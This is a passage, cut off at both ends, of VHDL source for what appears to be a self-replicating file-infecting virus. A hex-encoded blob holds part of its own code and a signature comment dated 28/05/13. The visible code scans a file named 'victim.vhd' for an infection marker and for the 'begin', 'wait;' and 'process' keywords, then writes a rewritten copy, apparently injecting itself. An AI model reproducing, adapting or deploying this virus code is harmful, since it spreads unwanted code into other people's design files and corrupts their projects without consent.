3B656E642069663B656E64206C6F6F703B77726974656C696E65286F2C65293B666F72206720696E206D20746F2064206C6F6F7020726561646C696E6528632C65293B77726974656C696E65286F2C65293B656E64206C6F6F703B66696C655F636C6F7365286F293B66696C655F636C6F73652863293B66696C655F6F70656E28632C2272222C726561645F6D6F6465293B66696C655F6F70656E286F2C622C77726974655F6D6F6465293B7768696C65206E6F7420656E6466696C652863296C6F6F7020726561646C696E6528632C65293B77726974656C696E65286F2C65293B656E64206C6F6F703B66696C655F636C6F7365286F293B66696C655F636C6F73652863293B656E642069663B2D2D5175696E65202D20726F792067206269762032382F30352F3133";constant b:string(1 to 10):="victim.vhd";file c,o:text;variable d,f,i,k,l,m,n:integer;variable e:line;variable h:character;variable j:string(1 to 256);
begin
file_open(c,b,read_mode);d:=0;k:=0;l:=0;m:=0;n:=0;while not endfile(c)loop readline(c,e);d:=d+1;f:=e'length;for g in 1 to f loop read(e,h);i:=character'pos(h);if i>64 and i<91 then h:=character'val(i+32);end if;j(g):=h;end loop;for g in 1 to f loop if f>4 then if j(g to g+4)="quine"then k:=1;exit;elsif j(g to g+4)="begin"then l:=d;elsif j(g to g+4)="wait;"then m:=d;elsif f>6 and j(g to g+6)="process"then n:=1;end if;end if;end loop;end loop;file_close(c);if k=0 and l>0 and m>0 and n>0 then file_open(c,b,read_mode);file_open(o,"r",write_mode);f:=1;while f